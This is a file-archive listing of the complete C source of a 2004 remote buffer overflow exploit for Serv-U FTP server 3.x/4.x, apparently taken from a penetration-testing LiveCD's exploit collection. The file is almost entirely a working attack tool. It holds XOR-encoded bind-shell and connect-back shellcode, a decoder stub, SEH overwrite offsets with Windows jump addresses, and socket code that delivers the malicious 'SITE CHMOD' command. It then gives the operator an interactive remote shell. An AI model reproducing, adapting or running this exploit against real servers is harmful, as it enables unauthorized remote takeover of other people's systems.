home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / servu / serv-u-ftp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  14KB  |  520 lines

  1. /*
  2. *-----------------------------------------------------------------------
  3. * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
  4. * Remote stack buffer overflow exploit
  5. *
  6. * Copyright (C) 2004 HUC All Rights Reserved.
  7. *
  8. * Author   : lion
  9. *          : lion@cnhonker.net
  10. *          : http://www.cnhonker.com
  11. * Date     : 2004-01-25
  12. *          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
  13. * Tested   : Windows 2000 Server EN/GB
  14. *          :     + Serv-U v3.0.0.20~v4.1.0.11
  15. * Notice   : *** Bug find by kkqq kkqq@0x557.org ***
  16. *          : *** You need a valid account and a writable directory. ***
  17. * Complie  : cl Servu.c
  18. * Usage       : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
  19. *------------------------------------------------------------------------
  20. */
  21.  
  22. #include <winsock2.h>
  23. #include <windows.h>
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26.  
  27. #pragma comment(lib, "ws2_32")
  28.  
  29. // for bind shellcode
  30. #define BIND_OFFSET        91
  31.  
  32. // for connectback shellcode
  33. #define PORT_OFFSET        95
  34. #define IP_OFFSET        88
  35.  
  36. #define SEH_OFFSET        0x193    //v3.0.0.20~v4.1.0.11
  37. //#define    SEH_OFFSET        0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
  38. #define MAX_LEN            2048
  39. #define JMP_OVER        "\xeb\x06\xeb\x06"
  40. #define    VERSION            "1.0"
  41.  
  42. struct
  43. {
  44.     DWORD    dwJMP;
  45.     char    *szDescription;
  46. }targets[] =
  47. {
  48.     {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"},    //for all GB win2000 and winxp
  49. // {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},    //wsock32.dll jmp ebx addr
  50. // {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},    //wsock32.dll jmp ebx addr
  51. // {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},    //user32.dll jmp ebx addr
  52. // {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},    //for all BG win2000 and winxp    
  53. // {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},    //setupapi.dll jmp ebx addr
  54. // {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},    //setupapi.dll jmp ebx addr
  55. // {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},    //setupapi.dll jmp ebx addr
  56. // {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
  57. // {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},         
  58. },v;
  59.  
  60.  
  61. unsigned char    *szSend[4];
  62. unsigned char    szCommand[MAX_LEN];
  63. char        szDirectory[0x100];
  64.  
  65. // 28 bytes decode by lion, don't change this.
  66. unsigned char decode[]=
  67. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
  68. "\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";
  69.  
  70. // Shellcode start sign, use for decode, don't change this.
  71. unsigned char sc_start[]=
  72. "lion"; 
  73.  
  74. // Shellcode end sign, use for decode, don't change this.
  75. unsigned char sc_end[]=
  76. "li0n"; 
  77.  
  78. // 311 bytes bind shellcode by lion (xor with 0x93)
  79. unsigned char sc[]=
  80. "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  81. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
  82. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  83. "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  84. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  85. "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
  86. "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
  87. "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
  88. "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
  89. "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
  90. "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
  91. "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
  92. "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
  93. "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
  94. "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
  95. "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
  96. "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
  97. "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
  98. "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
  99. "\xDA\x15\xDA\x74\xEA\x55\xEA";
  100.  
  101. // 294 bytes connectback shellcode by lion (xor with 0x93)
  102. unsigned char cbsc[]=
  103. "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  104. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
  105. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  106. "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  107. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  108. "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
  109. "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
  110. "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
  111. "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
  112. "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
  113. "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
  114. "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
  115. "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
  116. "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
  117. "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
  118. "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
  119. "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
  120. "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
  121. "\x39\xF3\x74\xEA\x55\xEA";
  122.  
  123. void usage(char *p)
  124. {
  125.     int    i;
  126.     printf( "Usage:\t%s\t<-i ip> <-t type>\n"
  127.         "\t\t[-u user] [-p pass] [-d dir]\n"
  128.         "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
  129.         "[type]:\n" , p);    
  130.     for(i=0;i<sizeof(targets)/sizeof(v);i++)
  131.     {
  132.         printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
  133.     }
  134. }
  135.  
  136. /* ripped from TESO code and modifed by ey4s for win32 */
  137. void shell (int sock)
  138. {
  139.     int     l;
  140.     char    buf[512];
  141.     struct    timeval time;
  142.     unsigned long    ul[2];
  143.  
  144.     time.tv_sec = 1;
  145.     time.tv_usec = 0;
  146.  
  147.     while (1)
  148.     {
  149.         ul[0] = 1;
  150.         ul[1] = sock;
  151.  
  152.         l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  153.         if(l == 1)
  154.         {
  155.             l = recv (sock, buf, sizeof (buf), 0);
  156.             if (l <= 0)
  157.             {
  158.                 printf ("[-] Connection closed.\n");
  159.                 return;
  160.             }
  161.             l = write (1, buf, l);
  162.             if (l <= 0)
  163.             {
  164.                 printf ("[-] Connection closed.\n");
  165.                 return;
  166.             }
  167.         }
  168.         else
  169.         {
  170.             l = read (0, buf, sizeof (buf));
  171.             if (l <= 0)
  172.             {
  173.                 printf("[-] Connection closed.\n");
  174.                 return;
  175.             }
  176.             l = send(sock, buf, l, 0);
  177.             if (l <= 0)
  178.             {
  179.                 printf("[-] Connection closed.\n");
  180.                 return;
  181.             }
  182.         }
  183.     }
  184. }
  185.  
  186. void main(int argc, char **argv)
  187. {
  188.     struct    sockaddr_in sa, server, client;
  189.     WSADATA    wsd;
  190.     SOCKET    s, s2, s3;
  191.     int    iErr, ret, len;
  192.     char    szRecvBuff[MAX_LEN];
  193.     int    i, j, iType;
  194.     int    iPort=21;
  195.     char    *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
  196.     char    user[128], pass[128];
  197.     BOOL    bCb=FALSE, bLocal=TRUE;
  198.     unsigned short    shport=53, shport2=0;
  199.     unsigned long    cbip;
  200.     unsigned int    timeout=5000, Reuse;
  201.     char    penetrate[255],cbHost2[20];
  202.     int seh_offset;
  203.     
  204.     printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n"
  205.         "Bug find by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)\r\n"
  206.         "Welcome to HUC website http://www.cnhonker.com\r\n\n"
  207.              , VERSION);
  208.  
  209.     seh_offset = SEH_OFFSET;
  210.     
  211.     if(argc < 4)
  212.     {
  213.         usage(argv[0]);
  214.         return;
  215.     }
  216.  
  217.     for(i=1;i<argc;i+=2)
  218.     {
  219.         if(strlen(argv[i]) != 2)
  220.         {
  221.             usage(argv[0]);
  222.             return;
  223.         }
  224.         // check parameter
  225.         if(i == argc-1)
  226.         {
  227.             usage(argv[0]);
  228.             return;
  229.         }
  230.         switch(argv[i][1])
  231.         {
  232.             case 'i':
  233.                 ip=argv[i+1];
  234.                 break;
  235.             case 't':
  236.                 iType = atoi(argv[i+1]);
  237.                 break;
  238.             case 'f':
  239.                 iPort=atoi(argv[i+1]);
  240.                 break;
  241.             case 'p':
  242.                 pPass = argv[i+1];
  243.                 break;
  244.             case 'u':
  245.                 pUser=argv[i+1];
  246.                 break;
  247.             case 'c':
  248.                 cbHost=argv[i+1];
  249.                 bCb=TRUE;
  250.                 break;
  251.             case 's':
  252.                 shport=atoi(argv[i+1]);
  253.                 break;
  254.             case 'd':
  255.                 if(argv[i+1][0] != '/')
  256.                     strcpy(szDirectory, "/");
  257.                 strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
  258.                 
  259.                 if(szDirectory[strlen(szDirectory)-1] != '/')
  260.                     strcat(szDirectory, "/");
  261.                     
  262.                 // correct the directory len
  263.                 for(j=0;j<(strlen(szDirectory)-1)%8;j++)
  264.                     strcat(szDirectory, "x");
  265.                     
  266.                 //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
  267.                 seh_offset = seh_offset - strlen(szDirectory)+1;
  268.                 break;
  269.         }
  270.     }
  271.  
  272.     if((!ip) || (!user) || (!pass))
  273.     {
  274.         usage(argv[0]);
  275.         printf("[-] Invalid parameter.\n");
  276.         return;
  277.     }
  278.  
  279.     if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
  280.     {
  281.         usage(argv[0]);
  282.         printf("[-] Invalid type.\n");
  283.         return;
  284.     }
  285.  
  286.     if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
  287.     {
  288.         usage(argv[0]);
  289.         printf("[-] Invalid port.\n");
  290.         return;
  291.     }
  292.     
  293.     _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
  294.     user[sizeof(user)-1]='\0';
  295.     _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
  296.     pass[sizeof(pass)-1]='\0';
  297.     szSend[0] = user;    //user
  298.     szSend[1] = pass;    //pass    
  299.     szSend[2] = penetrate;    //pentrate
  300.     szSend[3] = szCommand;    //shellcode
  301.     
  302.     // Penetrate through the firewall.
  303.     if(bCb && shport > 1024)
  304.     {
  305.         strncpy(cbHost2, cbHost, 20);
  306.         for(i=0;i<strlen(cbHost); i++)
  307.         {
  308.             if(cbHost[i] == '.')
  309.                 cbHost2[i] = ',';
  310.         }
  311.         
  312.         sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
  313.  
  314.         //printf("%s", penetrate);
  315.     }
  316.     else
  317.     {
  318.         sprintf(penetrate,"TYPE I\r\n");        
  319.     }
  320.  
  321.     // fill the "site chmod" command
  322.     strcpy(szCommand, "site chmod 777 ");
  323.     
  324.     // fill the directory
  325.     if(szDirectory[0])
  326.         strcat(szCommand, szDirectory);
  327.  
  328.     // fill the egg
  329.     for(i=0;i<seh_offset%8;i++)
  330.         strcat(szCommand, "\x90");
  331.     //strcat(szCommand, "BBBB");
  332.     
  333.     // fill the seh
  334.     for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
  335.     {
  336.         strcat(szCommand, JMP_OVER);
  337.         memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  338.     }
  339.         
  340.     // fill the decode
  341.     strcat(szCommand, decode);
  342.  
  343.     // fill the shellcode start    sign
  344.     strcat(szCommand, sc_start);
  345.  
  346.     // fill the shellcode
  347.     if(bCb)
  348.     {
  349.         // connectback shellcode
  350.         shport2 = htons(shport)^(u_short)0x9393;
  351.         cbip = inet_addr(cbHost)^0x93939393;
  352.         memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
  353.         memcpy(&cbsc[IP_OFFSET], &cbip, 4);
  354.         strcat(szCommand, cbsc);        
  355.     }
  356.     else
  357.     {
  358.         // bind shellcode
  359.         shport2 = htons(shport)^(u_short)0x9393;
  360.         memcpy(&sc[BIND_OFFSET], &shport2, 2);
  361.         strcat(szCommand, sc);
  362.     }
  363.  
  364.     // fill the shellcode end sign
  365.     strcat(szCommand, sc_end);
  366.  
  367.     // send end
  368.     strcat(szCommand, "\r\n");
  369.  
  370.     if(strlen(szCommand) >= sizeof(szCommand))
  371.     {
  372.         printf("[-] stack buffer overflow.\n");
  373.         return;
  374.     }
  375.     
  376. //    printf("send size %d:%s", strlen(szCommand), szCommand);
  377.     
  378.     __try
  379.     {
  380.         if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  381.         {
  382.             printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  383.             __leave;
  384.         }
  385.  
  386.         s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  387.         if(s == INVALID_SOCKET)
  388.         {
  389.             printf("[-] Create socket failed:%d",GetLastError());
  390.             __leave;
  391.         }
  392.  
  393.         sa.sin_family=AF_INET;
  394.         sa.sin_port=htons((USHORT)iPort);
  395.         sa.sin_addr.S_un.S_addr=inet_addr(ip);
  396.  
  397.         setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  398.         iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
  399.         if(iErr == SOCKET_ERROR)
  400.         {
  401.             printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
  402.             __leave;
  403.         }
  404.         printf("[+] Connect to %s:%d success.\n", ip, iPort);
  405.         
  406.         if(bCb)
  407.         {
  408.             Sleep(500);
  409.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  410.  
  411.             server.sin_family=AF_INET;
  412.             server.sin_addr.S_un.S_addr=inet_addr(cbHost);
  413.             //server.sin_addr.s_addr=INADDR_ANY; 
  414.             server.sin_port=htons((unsigned short)shport);
  415.  
  416.             setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  417.  
  418.             Reuse = 1; 
  419.             setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
  420.  
  421.             if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
  422.             {
  423.                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
  424.                 printf("[-] You must run nc get the shell.\n");
  425.                 bLocal = FALSE;
  426.                 //closesocket(s2);
  427.                 //__leave;
  428.             }
  429.             else
  430.             {    
  431.                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
  432.                 listen(s2, 1); 
  433.             }
  434.         }
  435.         
  436.         for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
  437.         {
  438.             memset(szRecvBuff, 0, sizeof(szRecvBuff));
  439.             iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
  440.             if(iErr == SOCKET_ERROR)
  441.             {
  442.                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
  443.                 __leave;
  444.             }
  445.             printf("[+] Recv: %s", szRecvBuff);
  446.             
  447.             if(szRecvBuff[0] == '5')
  448.             {
  449.                 printf("[-] Server return a error Message.\r\n");
  450.                 __leave;
  451.             }
  452.  
  453.             iErr = send(s, szSend[i], strlen(szSend[i]),0);
  454.             if(iErr == SOCKET_ERROR)
  455.             {
  456.                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
  457.                 __leave;
  458.             }
  459.  
  460.             if(i==sizeof(szSend)/sizeof(szSend[0])-1)
  461.                 printf("[+] Send shellcode %d bytes.\n", iErr);
  462.             else
  463.                 printf("[+] Send: %s", szSend[i]);
  464.         }
  465.  
  466.         printf("[+] If you don't have a shell it didn't work.\n");
  467.  
  468.         if(bCb)
  469.         {
  470.             if(bLocal)
  471.             {
  472.                 printf("[+] Wait for shell...\n");
  473.             
  474.                 len = sizeof(client);
  475.                 s3 = accept(s2, (struct sockaddr*)&client, &len); 
  476.                 if(s3 != INVALID_SOCKET) 
  477.                 { 
  478.     printf("[+] Exploit success! Good luck! :)\n");
  479.     printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  480.                     shell(s3);
  481.                 }
  482.             }    
  483.         }
  484.         else
  485.         {
  486.             printf("[+] Connect to shell...\n");
  487.             
  488.             Sleep(1000);
  489.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  490.             server.sin_family = AF_INET;
  491.             server.sin_port = htons(shport);
  492.             server.sin_addr.s_addr=inet_addr(ip);
  493.  
  494.             ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
  495.             if(ret!=0)
  496.             {
  497.                 printf("[-] Exploit seem failed.\n");
  498.                 __leave;
  499.             }
  500.             
  501.     printf("[+] Exploit success! Good luck! :)\n");
  502.     printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  503.             shell(s2);
  504.         }
  505.         
  506.         
  507.     }
  508.  
  509.      __finally
  510.     {
  511.         if(s != INVALID_SOCKET) closesocket(s);
  512.         if(s2 != INVALID_SOCKET) closesocket(s2);
  513.         if(s3 != INVALID_SOCKET) closesocket(s3);
  514.         WSACleanup();
  515.     }
  516.  
  517.     return;
  518. }
  519.